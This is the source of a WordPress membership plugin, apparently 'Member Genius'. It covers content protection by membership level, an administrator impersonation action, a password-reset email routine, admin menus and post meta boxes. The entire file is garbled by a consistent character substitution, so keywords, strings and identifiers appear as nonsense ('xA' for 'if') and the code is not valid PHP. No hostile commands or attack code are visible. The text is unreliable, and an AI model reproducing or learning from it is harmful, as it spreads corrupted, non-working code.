(xnnBm(S_01$#[QplrmUtBtEBozBsxln_nlEnDoxEBCQplrmU])) { SnlEnDoxEBC = S_01$#[QplrmUtBtEBozBsxln_nlEnDoxEBCQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBunQplrmU])) { SuBkBun = S_01$#[QplrmUtBtEBozBsxln_uBkBunQplrmU]U } AroBFDy (SmoFsnFDmxrsn Fn SuBkBu =QzmU SmoFsnFDmxrs) { xA (SmoFsnFDmxrsn[SuBkBu] == SmoFsnFDmxrsn_roxzxsFu[SuBkBu]) { DrsmxslBU } StBtEBozBsxln-QzmUtrCBu-QzmUlqCFmB#oFsnFDmxrs(SlnBo, SuBkBu, SmoFsnFDmxrs)U } AroBFDy (FooFh_vBhn(SFuu4BkBun) Fn SuBkBu) { xA (xnnBm(SnlEnDoxEBC[SuBkBu])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBm$lEnDoxEBC(SlnBo, SuBkBu)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBm$lEnDoxEBC(SlnBo, SuBkBu, AFunB)U } } AroBFDy (SCFmB Fn SuBkBu =QzmU SmyBcFmB) { xA (SCFmB[SuBkBu] == SCFmB_roxzxsFu[SuBkBu]) { DrsmxslBU } StBtEBozBsxln-QzmUtrCBu-QzmUlqCFmB4BkBucFmB(SlnBo, SuBkBu, SmyBcFmB)U xA (nmomrmxtB(SCFmB[SuBkBu]) QumU nmomrmxtB(SCFmB_roxzxsFu[SuBkBu])) { SnmFom = nmomrmxtB(SCFmB[SuBkBu])U SBsC = mxtB()U xA (SnmFom QumU= O || SBsC QumU= O) { EoBFvU } SrAAnBm = PU jyxuB (SnmFom QumU= SBsC) { StBtEBozBsxln-QzmUtrCBu-QzmUqorDBnn;qzoFCB(SnmFom, SlnBo7c)U SnmFom = SnmFom + HJLPPU } } } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_trkBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUtrkB(SlnBo, SuBkBun)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_FCCQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUFCC(SlnBo, SuBkBun)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_oBtrkBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB(SlnBo, SuBkBun)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_DFsDBuQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SlnBo, SuBkBun)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_lsDFsDBuQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUlsDFsDBu(SlnBo, SuBkBun)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_CBuBmBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUCBuBmB;nBo(SlnBo)U Smyxn-QzmUtFhEB	BCxoBDm()U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_qFnnjroCQplrmU])) { Smyxn-QzmUoBmoxBkB_qFnnjroC(SlnBo)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_xtqBonrsFmBQplrmU]) QFtqUQFtqU DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { SlnBoCFmF = zBm_lnBo_Eh(QplrmUxCQplrmU, SlnBo)U jq_nBm_DlooBsm_lnBo(SlnBo, SlnBoCFmF-QzmUlnBo_urzxs)U jq_nBm_Flmy_DrrvxB(SlnBo, molB)U Cr_FDmxrs(QTPMGUjq_urzxsQTPMGU, SlnBoCFmF-QzmUlnBo_urzxs, SlnBoCFmF)U jq_oBCxoBDm(FCtxs_lou())U CxB()U } } AlsDmxrs oBmoxBkB_qFnnjroC(SlnBo7c) { zurEFu SjqCE, Sjq_yFnyBoU SlnBo_CFmF = zBm_lnBo_Eh(QplrmUxCQplrmU, SlnBo7c)U SlnBo_urzxs = SlnBo_CFmF-QzmUlnBo_urzxsU SBooron = sBj ?0_booro()U xA ( Btqmh( SlnBo_CFmF ) ) { SBooron-QzmUFCC(QTPMGUxskFuxC_BtFxuQTPMGU, __(QTPMGUQumUnmorszQzmUb		1	QumU/nmorszQzmU: #yBoB xn sr lnBo oBzxnmBoBC jxmy myFm BtFxu FCCoBnn.QTPMGU))U } Cr_FDmxrs( QTPMGUurnmqFnnjroC_qrnmQTPMGU )U xA ( SBooron-QzmUzBm_Booro_DrCB() ) oBmlos SBooronU xA ( VSlnBo_CFmF ) { SBooron-QzmUFCC(QTPMGUxskFuxCDrtErQTPMGU, __(QTPMGUQumUnmorszQzmUb		1	QumU/nmorszQzmU: 7skFuxC lnBosFtB ro B-tFxu.QTPMGU))U oBmlos SBooronU } SlnBo_urzxs = SlnBo_CFmF-QzmUlnBo_urzxsU SlnBo_BtFxu = SlnBo_CFmF-QzmUlnBo_BtFxuU Cr_FDmxrs( QTPMGUoBmoBxkB_qFnnjroCQTPMGU, SlnBo_urzxs )U Cr_FDmxrs( QTPMGUoBmoxBkB_qFnnjroCQTPMGU, SlnBo_urzxs )U SFuurj = Fqquh_AxumBon( QTPMGUFuurj_qFnnjroC_oBnBmQTPMGU, molB, SlnBo_CFmF-QzmU7c )U xA ( V SFuurj ) { oBmlos sBj ?0_booro( QTPMGUsr_qFnnjroC_oBnBmQTPMGU, __(QTPMGU0FnnjroC oBnBm xn srm FuurjBC Aro myxn lnBoQTPMGU) )U } BunBxA ( xn_jq_Booro( SFuurj ) ) { oBmlos SFuurjU } SvBh = jq_zBsBoFmB_qFnnjroC( NP, AFunB )U Cr_FDmxrs( QTPMGUoBmoxBkB_qFnnjroC_vBhQTPMGU, SlnBo_urzxs, SvBh )U oBplxoB_rsDB fe$0f#8 . ?072d . QTPMGU/DuFnn-qyqFnn.qyqQTPMGUU Sjq_yFnyBo = sBj 0FnnjroC8Fny( H, molB )U SyFnyBC = mxtB() . QTPMGU:QTPMGU . Sjq_yFnyBo-QzmU8Fny0FnnjroC( SvBh )U SjqCE-QzmUlqCFmB( SjqCE-QzmUlnBon, FooFh( QTPMGUlnBo_FDmxkFmxrs_vBhQTPMGU =QzmU SyFnyBC ), FooFh( QTPMGUlnBo_urzxsQTPMGU =QzmU SlnBo_urzxs ) )U StBnnFzB = __(QTPMGU$rtBrsB oBplBnmBC myFm myB qFnnjroC EB oBnBm Aro myB Aruurjxsz FDDrlsm:QTPMGU) . QplrmU\o\s\o\sQplrmUU StBnnFzB .= sBmjrov_yrtB_lou( QTPMGU/QTPMGU ) . QplrmU\o\s\o\sQplrmUU StBnnFzB .= nqoxsmA(__(QTPMGU;nBosFtB: %nQTPMGU), SlnBo_urzxs) . QplrmU\o\s\o\sQplrmUU StBnnFzB .= __(QTPMGU7A myxn jFn F txnmFvB, wlnm xzsroB myxn BtFxu FsC srmyxsz jxuu yFqqBs.QTPMGU) . QplrmU\o\s\o\sQplrmUU StBnnFzB .= __(QTPMGU#r oBnBm hrlo qFnnjroC, kxnxm myB Aruurjxsz FCCoBnn:QTPMGU) . QplrmU\o\s\o\sQplrmUU StBnnFzB .= QTPMGUQumUQTPMGU . sBmjrov_nxmB_lou(QplrmUjq-urzxs.qyqWFDmxrs=oqQFtqUvBh=SvBhQFtqUurzxs=QplrmU . oFjlouBsDrCB(SlnBo_urzxs), QTPMGUurzxsQTPMGU) . QplrmUQzmU\o\sQplrmUU xA ( xn_tlumxnxmB() ) SEurzsFtB = S941ef4$[QTPMGUDlooBsm_nxmBQTPMGU]-QzmUnxmB_sFtBU BunB SEurzsFtB = jq_nqBDxFuDyFon_CBDrCB(zBm_rqmxrs(QTPMGUEurzsFtBQTPMGU), b2#_&;1#b$)U SmxmuB = nqoxsmA( __(QTPMGU[%n] 0FnnjroC 	BnBmQTPMGU), SEurzsFtB )U SmxmuB = Fqquh_AxumBon( QTPMGUoBmoxBkB_qFnnjroC_mxmuBQTPMGU, SmxmuB )U StBnnFzB = Fqquh_AxumBon( QTPMGUoBmoxBkB_qFnnjroC_tBnnFzBQTPMGU, StBnnFzB, SvBh, SlnBo_urzxs, SlnBo_CFmF )U xA ( StBnnFzB QFtqUQFtqU Vjq_tFxu( SlnBo_BtFxu, jq_nqBDxFuDyFon_CBDrCB( SmxmuB ), StBnnFzB ) ) { jq_CxB( __(QTPMGU#yB B-tFxu DrluC srm EB nBsm.QTPMGU) . QplrmUQumUEo /QzmU\sQplrmU . __(QTPMGU0rnnxEuB oBFnrs: hrlo yrnm tFh yFkB CxnFEuBC myB tFxu() AlsDmxrs.QTPMGU) )U } oBmlos molBU } qlEuxD AlsDmxrs jq_tFxu(SFozn) { SsBj_jq_tFxu = FooFh( QTPMGUmrQTPMGU =QzmU SFozn[QTPMGUmrQTPMGU], QTPMGUnlEwBDmQTPMGU =QzmU SFozn[QTPMGUnlEwBDmQTPMGU], QTPMGUtBnnFzBQTPMGU =QzmU SFozn[QTPMGUtBnnFzBQTPMGU], QTPMGUyBFCBonQTPMGU =QzmU SFozn[QTPMGUyBFCBonQTPMGU], QTPMGUFmmFDytBsmnQTPMGU =QzmU SFozn[QTPMGUFmmFDytBsmnQTPMGU], )U oBmlos SsBj_jq_tFxuU } qlEuxD AlsDmxrs tFxu_Aort_sFtB(SroxzxsFu_sFtB) { oBmlos QplrmU	rEBom 0uFsvQplrmUU oBmlos zBm_rqmxrs( QTPMGUsFtBQTPMGU )U } qlEuxD AlsDmxrs tFxu_Aort_BtFxu(SroxzxsFu_BtFxu) { oBmlos [email protected] oBmlos zBm_rqmxrs(QTPMGUFCtxs_BtFxuQTPMGU)U } qlEuxD AlsDmxrs Drultsn(SDrultsn) { SDrultsn[QTPMGUtBtEBozBsxlnQTPMGU] = QTPMGUfDDBnnQTPMGUU oBmlos SDrultsnU } qlEuxD AlsDmxrs Drultsn_oBtrkB(Sqrnmn_Drultsn) { lsnBm(Sqrnmn_Drultsn[QTPMGUtBtEBozBsxlnQTPMGU])U oBmlos Sqrnmn_DrultsnU } qlEuxD AlsDmxrs Drults(SDrults, Sqrnm_xC) { zurEFu StBtEBozBsxlnU xA (VStBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(Sqrnm_xC)) { BDyr QplrmUQumUxQzmUbkBohrsBQumU/xQzmUQplrmUU oBmlosU } xA (SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBunaort0rnm(Sqrnm_xC)) { AroBFDy (SuBkBun Fn SuBkBu7c =QzmU SuBkBu2FtB) { BDyr QTPMGUQumUF yoBA=QplrmUQTPMGU.Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU).QTPMGUQFtqUu=QTPMGU.SuBkBu7c.QTPMGUQplrmUQzmUQTPMGU.ymtuBsmxmxBn(SuBkBu2FtB).QTPMGUQumU/FQzmUQTPMGUU BsC(SuBkBun)U xA (SuBkBu7c V= vBh(SuBkBun)) { BDyr QplrmU, QplrmUU } } oBmlosU } } qlEuxD AlsDmxrs Drults_BCxm(SDrults_sFtB, Sqrnm_mhqB) { xA (SDrults_sFtB V= QplrmUtBtEBozBsxlnQplrmU) { oBmlosU } BDyr QTPMGUQumUAxBuCnBm DuFnn=QplrmUxsuxsB-BCxm-Dru-uBAmQplrmU nmhuB=QplrmUDuBFo:uBAmUQplrmUQzmUQTPMGUU BDyr QTPMGUQumUCxk DuFnn=QplrmUxsuxsB-BCxm-DruQplrmUQzmUQTPMGUU BDyr QTPMGUQumUuFEBu DuFnn=QplrmUxsuxsB-BCxm-tBtEBozBsxlnQplrmUQzmUQTPMGUU Smyxn-QzmUtBmF(AFunB)U BDyr QTPMGUQumU/uFEBuQzmU   QTPMGUU BDyr QTPMGUQumU/CxkQzmUQTPMGUU BDyr QTPMGUQumU/AxBuCnBmQzmUQTPMGUU } qlEuxD AlsDmxrs tBsl_nBmlq() { StBsl = FCC_tBsl_qFzB(QTPMGU3BtEBo 9BsxlnQTPMGU, QTPMGU3BtEBo 9BsxlnQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__), FooFh(QFtqUSmyxn, QplrmUtBsl_CFnyErFoCQplrmU))U Smyxn-QzmUtBsl = FCtxs_lou(QplrmUFCtxs.qyqWqFzB=QplrmU.qulzxs_EFnBsFtB(__a74b__))U xA (Smyxn-QzmUFDmxkFmxrs-QzmUDFuu == P) { oBmlosU } FCC_nlEtBsl_qFzB(__a74b__, QTPMGUcFnyErFoCQTPMGU, QTPMGUcFnyErFoCQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__), FooFh(QFtqUSmyxn, QplrmUtBsl_CFnyErFoCQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGU$BmmxsznQTPMGU, QTPMGU$BmmxsznQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-nBmmxsznQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_nBmmxsznQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGU3BtEBonQTPMGU, QTPMGU3BtEBonQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-tBtEBonQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_tBtEBonQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGU4BkBunQTPMGU, QTPMGU4BkBunQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-uBkBunQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_uBkBunQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGUdrsmBsmQTPMGU, QTPMGUdrsmBsmQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-DrsmBsmQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_DrsmBsmQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGU0FhtBsmnQTPMGU, QTPMGU0FhtBsmnQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-qFhtBsmnQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_qFhtBsmnQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGUflmroBnqrsCBoQTPMGU, QTPMGUflmroBnqrsCBoQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-FlmroBnqrsCBoQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_FlmroBnqrsCBoQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGU$rDxFuQTPMGU, QTPMGU$rDxFuQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-nrDxFuQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_nrDxFuQplrmU))U } qlEuxD AlsDmxrs tBmF_nFkB(Sqrnm7c=P) { zurEFu SqrnmU zurEFu StBtEBozBsxlnU xA (VxnnBm(S_	b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU])) { oBmlosU } xA (S_	b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] V= QplrmUtBmF_nFkBQplrmU) { oBmlosU } xA (Sqrnm7c == P QFtqUQFtqU xnnBm(Sqrnm-QzmU7c)) {Sqrnm7c = Sqrnm-QzmU7cU } xA (CBAxsBC(QplrmUc1729_f;#1$f!bQplrmU) QFtqUQFtqU DrsnmFsm(QplrmUc1729_f;#1$f!bQplrmU)) { oBmlos Sqrnm7cU } xA (AlsDmxrs_Bixnmn(QplrmUjq_xn_qrnm_FlmrnFkBQplrmU) QFtqUQFtqU jq_xn_qrnm_FlmrnFkB(Sqrnm7c)) { oBmlosU } xA (AlsDmxrs_Bixnmn(QplrmUjq_xn_qrnm_oBkxnxrsQplrmU) QFtqUQFtqU (Sqrnm	Bkxnxrs = jq_xn_qrnm_oBkxnxrs(Sqrnm7c))) { Sqrnm7c = Sqrnm	BkxnxrsU } xA (VDlooBsm_lnBo_DFs(QTPMGUBCxm_qrnmQTPMGU, Sqrnm7c)) { oBmlosU } SqormBDm = (S_01$#[QplrmUtBtEBozBsxln_qormBDmQplrmU] == O)U xA (SqormBDm) { StBtEBozBsxln-QzmUtrCBu-QzmUqormBDm(Sqrnm7c, -O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUlsqormBDm(Sqrnm7c, -O)U } xA ((xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU]) QFtqUQFtqU S_01$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] == QplrmUtBmF_nFkBQplrmU) || (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU]))) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { SuBkBun = FooFh_vBhn(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])U } BunB { SuBkBun = FooFh()U } AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun() Fn SuBkBu) { xA (xs_FooFh(SuBkBu-QzmU7c, SuBkBun)) { StBtEBozBsxln-QzmUtrCBu-QzmUqormBDm(Sqrnm7c, SuBkBu-QzmU7c)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUlsqormBDm(Sqrnm7c, SuBkBu-QzmU7c)U } } } } qlEuxD AlsDmxrs tBmF(SAluunxgB=molB) { zurEFu StBtEBozBsxlnU zurEFu SqrnmU Sqrnm7c = xsmkFu(Sqrnm-QzmU7c)U SqormBDmBC = StBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(Sqrnm7c)U xA (Btqmh(Sqrnm-QzmUqrnm_mxmuB) QFtqUQFtqU Btqmh(Sqrnm-QzmUqrnm_DrsmBsm)) { SqormBDmBC = molBU } SFuu4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U Sqrnm4BkBun = FooFh_vBhn(StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBunaort0rnm(Sqrnm7c))U xA (xnnBm(S_	b&;b$#[QplrmUtBtEBozBsxln_sBjQplrmU]) QFtqUQFtqU @xsmkFu(S_	b&;b$#[QplrmUtBtEBozBsxln_sBjQplrmU]) QzmU P) { Sqrnm4BkBun[] = @xsmkFu(S_	b&;b$#[QplrmUtBtEBozBsxln_sBjQplrmU])U } WQzmUY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_FDmxrsQplrmU kFulB=QplrmUtBmF_nFkBQplrmU /QzmUYY      QumUWqyq xA (SAluunxgB): WQzmUQumUCxk nmhuB=QplrmUqFCCxsz: PU tFozxs:PU EroCBo:PU EroCBo-Ermmrt: Oqi nruxC TCACACAUQplrmUQzmUQumUWqyq BsCxAU WQzmUY         QumUWqyq xA (SAluunxgB): WQzmUQumUqQzmUfuurj FDDBnn mr...QumU/qQzmUQumUWqyq BsCxAU WQzmUY         QumUWqyq xA (SAluunxgB): WQzmUQumUEurDvplrmBQzmUQumUWqyq BsCxAU WQzmUY         QumUuFEBu nmhuB=QplrmUCxnquFh:xsuxsBUQplrmUQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_qormBDmQplrmU QumUWqyq DyBDvBC(SqormBDmBC)U WQzmU kFulB=QplrmUOQplrmUQzmU QumUEQzmU3BtEBon 1suhQumU/EQzmUQumU/uFEBuQzmUQumUEo /QzmU Y         QumUuFEBu nmhuB=QplrmUCxnquFh:xsuxsBUQplrmUQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_qormBDmQplrmU QumUWqyq DyBDvBC(VSqormBDmBC)U WQzmUkFulB=QplrmUPQplrmUQzmU QumUEQzmUbkBohrsBQumU/EQzmUQumU/uFEBuQzmUQumUEo /QzmUY         QumUV-- QumUuFEBu nmhuB=QplrmUCxnquFh:xsuxsBUQplrmUQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_qormBDmQplrmU QumUWqyq DyBDvBC(VSqormBDmBC)U WQzmUkFulB=QplrmU-OQplrmUQzmU QumUEQzmU4rzzBC 1lm ;nBon 1suhQumU/EQzmUQumU/uFEBuQzmU --QzmUY         QumUWqyq xA (SAluunxgB): WQzmUQumU/EurDvplrmBQzmUQumUWqyq BsCxAU WQzmUY      QumUWqyq xA (SAluunxgB): WQzmUQumU/CxkQzmUQumUWqyq BsCxAU WQzmUYY      QumUWqyq xA (SAluunxgB): WQzmUQumUqQzmU?yxDy tBtEBonyxq uBkBun yFkB FDDBnn mr kxBj myxn DrsmBsmWQumU/qQzmUQumUWqyq BsCxAU WQzmUY      QumUWqyq xA (SAluunxgB): WQzmUQumUEurDvplrmBQzmUQumUWqyq BsCxAU WQzmUY         QumUlu DuFnn=QplrmUtBtEBozBsxln_uBkBunQplrmUQzmUY         QumUuxQzmUQumUuFEBuQzmUQumUEQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU rsDuxDv=QplrmUtBtEBozBsxln_DyBDv(myxn.DyBDvBC)QplrmU /QzmU $BuBDm/;snBuBDm fuu 4BkBunQumU/EQzmUQumU/uxQzmUY            QumUWqyq AroBFDy (SFuu4BkBun Fn SuBkBu): WQzmUY            QumUux DuFnn=QplrmUtBtEBozBsxln_uBkBuQplrmUQzmUY            QumUuFEBuQzmUY               QumUxsqlm DuFnn=QplrmUtBtEBozBsxln_uBkBuQplrmU mhqB=QplrmUDyBDvEriQplrmU QumUWqyq CxnFEuBC(SuBkBu-QzmUuBkBu_Fuu == O || SuBkBu-QzmUuBkBu_qFzB_urzxs == Sqrnm-QzmU7c)U WQzmU QumUWqyq DyBDvBC(xs_FooFh(SuBkBu-QzmU7c, Sqrnm4BkBun) || SuBkBu-QzmUuBkBu_Fuu == O || SuBkBu-QzmUuBkBu_qFzB_urzxs == Sqrnm-QzmU7c)U WQzmU sFtB=QplrmUtBtEBozBsxln_uBkBu[QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmU]QplrmU /QzmU QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUYY               QumUWqyq xA (SuBkBu-QzmUuBkBu_qFzB_urzxs == Sqrnm7c): WQzmUQumUntFuuQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU)U WQzmUQplrmUQzmU(urzxs qFzB Aro uBkBu)QumU/FQzmUQumU/ntFuuQzmUQumUWqyq BsCxAU WQzmUY            QumU/uFEBuQzmUY            QumU/uxQzmUY            QumUWqyq BsCAroBFDyU WQzmUY         QumU/luQzmUY      QumUWqyq xA (SAluunxgB): WQzmUQumU/EurDvplrmBQzmUQumUWqyq BsCxAU WQzmUYY      QumUWqyq xA (VSAluunxgB): WQzmUY      QumUnmhuB mhqB=QplrmUmBim/DnnQplrmUQzmUY      QumUV--Y      ux.tBtEBozBsxln_uBkBu { CxnquFh:xsuxsB-EurDvU txs-jxCmy:OPPqiU }Y      // --QzmUY      QumU/nmhuBQzmUY      QumUWqyq BsCxAU WQzmUYY      QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY      QumUV--Y      AlsDmxrs tBtEBozBsxln_DyBDv(kFu) {Y         w&lBoh(QTPMGU.tBtEBozBsxln_uBkBuQTPMGU).BFDy(AlsDmxrs(x, rEw) {Y            //xA (w&lBoh(rEw).Fmmo(QplrmUCxnFEuBCQplrmU) V= lsCBAxsBC) { DrsmxslBU }Y            xA (w&lBoh(rEw).Fmmo(QplrmUCxnFEuBCQplrmU) V= lsCBAxsBC) { oBmlosU }Y            w&lBoh(rEw).Fmmo(QTPMGUDyBDvBCQTPMGU, kFu)UY         })UY      }Y      // --QzmUY      QumU/nDoxqmQzmUY      QumUWqyqY } qlEuxD AlsDmxrs tBsl_yBFCBo(SmBim=QplrmUQplrmU) { SDFuu = Smyxn-QzmUFDmxkFmxrs-QzmUDFuu()U xA (Smyxn-QzmUFDmxkFmxrs-QzmUCBElz) { BDyr QplrmUDFuu=SDFuuQplrmUU } xA (Btqmh(SDFuu) || SDFuu == QplrmUaf74bcQplrmU || SDFuu == QplrmUdf2db44bcQplrmU || SDFuu == QplrmU;2	b97$#b	bcQplrmU || SDFuu == QplrmUaf74bcQplrmU || SDFuu == QplrmUe41d5bcQplrmU) { Smyxn-QzmUFDmxkFmxrs-QzmUtBnnFzB(SDFuu)U Smyxn-QzmUFDmxkFmxrs-QzmUoBzxnmBo(SDFuu)U oBmlosU } Sqm = QplrmUQplrmUU xA (S_	b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-CFnyErFoCQplrmU) { Sqm = QplrmUQplrmUU } xA (S_	b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-nBmmxsznQplrmU) { Sqm = QplrmUnBmmxsznQplrmUU } xA (S_	b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-tBtEBonQplrmU) { Sqm = QplrmUtBtEBonQplrmUU } xA (S_	b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-uBkBunQplrmU) { Sqm = QplrmUuBkBunQplrmUU } xA (S_	b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-DrsmBsmQplrmU) { Sqm = QplrmUDrsmBsmQplrmUU } xA (S_	b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-qFhtBsmnQplrmU) { Sqm = QplrmUqFhtBsmnQplrmUU } xA (S_	b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-FlmroBnqrsCBoQplrmU) { Sqm = QplrmUFlmroBnqrsCBoQplrmUU } xA (S_	b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-nrDxFuQplrmU) { Sqm = QplrmUnrDxFuQplrmUU } xA (VAlsDmxrs_Bixnmn( QTPMGUzBm_qulzxsnQTPMGU ) ) { oBplxoB_rsDB( fe$0f#8 . QTPMGUjq-FCtxs/xsDulCBn/qulzxs.qyqQTPMGU )U } Squlzxs_AruCBo = @zBm_qulzxsn( QTPMGU/QTPMGU . qulzxs_EFnBsFtB( CxosFtB( __a74b__ ) ) )U Squlzxs_AxuB = EFnBsFtB( ( __a74b__ ) )U Squlzxs_kBonxrs = Squlzxs_AruCBo[Squlzxs_AxuB][QTPMGU!BonxrsQTPMGU]U WQzmUY      QumUyNQzmUQumUEQzmU3BtEBo 9Bsxln QumUWqyq BDyr Squlzxs_kBonxrsU WQzmU:QumU/EQzmUQumUWqyq xA (SmBim V= QplrmUQplrmU): WQzmU QumUWqyq BDyr SmBimU WQzmUQumUWqyq BsCxAU WQzmUQumU/yNQzmUYY      QumUyN DuFnn=QplrmUsFk-mFE-joFqqBoQplrmUQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv()U WQzmUQplrmUQzmUcFnyErFoCQumU/FQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUnBmmxsznQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUnBmmxsznQplrmU)U WQzmUQplrmUQzmU$BmmxsznQumU/FQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUtBtEBonQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU)U WQzmUQplrmUQzmU3BtEBonQumU/FQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUuBkBunQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU)U WQzmUQplrmUQzmU4BkBunQumU/FQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUDrsmBsmQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU)U WQzmUQplrmUQzmUdrsmBsmQumU/FQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUqFhtBsmnQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUqFhtBsmnQplrmU)U 